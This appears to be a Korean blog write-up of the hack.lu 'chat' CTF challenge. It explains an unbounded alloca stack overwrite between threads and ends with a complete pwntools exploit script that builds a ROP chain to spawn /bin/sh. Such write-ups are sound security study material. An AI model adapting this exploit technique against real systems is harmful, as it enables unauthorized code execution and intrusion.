ubuntu@ubuntu:~/pwn/hack.lu/chat$ ./chat
Command Channel:
> /h
Command Commands:
/nc - New Chat Channel - Create and join a new Chat Channel.
/jc x - Join Chat Channel - Join the Chat Channel number x.
/lc - List Chat Channels - Lists the Chat Channels.
/q - Quit - Quit this awesome chat program.
/h - Help - Print this help message.
> /nc
Chat Channel 1:
> /h
Chat Commands:
/e - Echo - The first line following this command specifies the number of characters to echo.
/pc - Pause Chat Channel - Return to Command Channel. The Chat Channel stays open.
/qc - Quit Chat Channel - Return to Command Channel. The Chat Channel is terminated.
/h - Help - Print this help message.
That's all for now :/
>
위와 같은 기능을 가지고 있는 32비트 static linked
바이너리이다.
문제의 제목에서도 볼 수 있듯이, chat
프로그램이라서 멀티쓰레드 방식을 사용한다.
또한, 특이한 점은 pipe
를 이용하여 쓰레드들을 poll
로 관리한다는 점이다.
/nc
를 이용하여 채팅방을 만들 때, 다음과 같은 기능을 한다.
쓰레드를 만들어주고 쓰레드 안에서 /pc
명령을 이용하여 쓰레드를 중지시키면 wait_loop
함수를 부른다.
이 함수는 pipe
를 이용하여 쓰레드의 출력을 중지시키고, poolfd
에 poll
을 걸어놓음으로써 쓰레드 입력 이벤트를 while
문을 이용하여 1초마다 기다린다.
여기까지 알아보고 취약점은 채팅방의 /e
기능에서 발생한다.
fgets
로 사용자의 입력을 받고, puts
로 출력해주는데 fgets
로 받는 buf
를 alloca
로 할당한다.
여기서, 사이즈 제한이 걸려있지 않기 때문에 ebp - ~
부분의 aribrary write
가 가능해진다.
이를 통해 thread 1
, thread 2
를 순서대로 만들었을 때 thread 1
에서 thread 2
의 stack
을 덮을 수 있다.
그리고 나서는 그냥 rtl
로 쉘을 얻어내면 된다.
위와 같이 thread 2
의 stack
을 덮을 수 있다.
알고보니 굉장히 쉬운 문제였는데 thread
가 들어가 있었어서 조금 헷갈렸었던 것 같다..
from pwn import *
#context.log_level= 'debug'
e = ELF('chat')
#s = connect('chat.forfuture.fluxfingers.net', 1337)
s = process(e.path)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
# switch(active):
# case 0:
# don't use
# case 1:
# active
# case 2:
# error/pause/quit
dump = '''
ubuntu@ubuntu:~/pwn/hack.lu/chat$ ./chat
Command Channel:
> /h
Command Commands:
/nc - New Chat Channel - Create and join a new Chat Channel.
/jc x - Join Chat Channel - Join the Chat Channel number x.
/lc - List Chat Channels - Lists the Chat Channels.
/q - Quit - Quit this awesome chat program.
/h - Help - Print this help message.
> /nc
Chat Channel 1:
> /h
Chat Commands:
/pc - Pause Chat Channel - Return to Command Channel. The Chat Channel stays open.
/h - Help - Print this help message.
'''
def menu(data):
sla(':\n', data)
def nc():
menu('/nc')
def command(cmd):
cmd = cmd.split()
if cmd[0] == '/e':
sla('> ', cmd[0])
sl(cmd[1])
sl(cmd[2])
elif cmd[0] == '/pc':
sla('> ', cmd[0])
elif cmd[0] == '/qc':
sla('> ', cmd[0])
def jc(cmd):
menu("/jc "+cmd)
nc()
command('/pc')
nc()
command('/pc')
jc('1')
binsh = 0x80f738b
binsh_addr = binsh+12
int_0x80 = 0x0804fa05
int_0x80 = 0x0807d3d0
pop_eax = 0x08051cf6
pop_ebx = 0x0804901e
dec_eax = 0x08051be6
pay = p32(pop_ebx)
pay += p32(binsh)
pay += p32(pop_eax)
pay += p32(0x0e)
pay += p32(dec_eax)*3
pay += p32(int_0x80)
command('/e '+str(250000)+ '\x00/bin/sh\x00'+'\x00'*4+p32(binsh) + ' ' + '\x00'*0x8 + p32(0) + pay)
io()
'system > writeup' 카테고리의 다른 글
2019 d3ctf new_heap (0) | 2019.11.30 |
---|---|
2019 csaw final arevenge (0) | 2019.11.29 |
2019 hitcon lazyhouse (0) | 2019.11.06 |
2019 hitcon trick_or_treat (0) | 2019.11.04 |
2019 codegate maris_shop (0) | 2019.11.03 |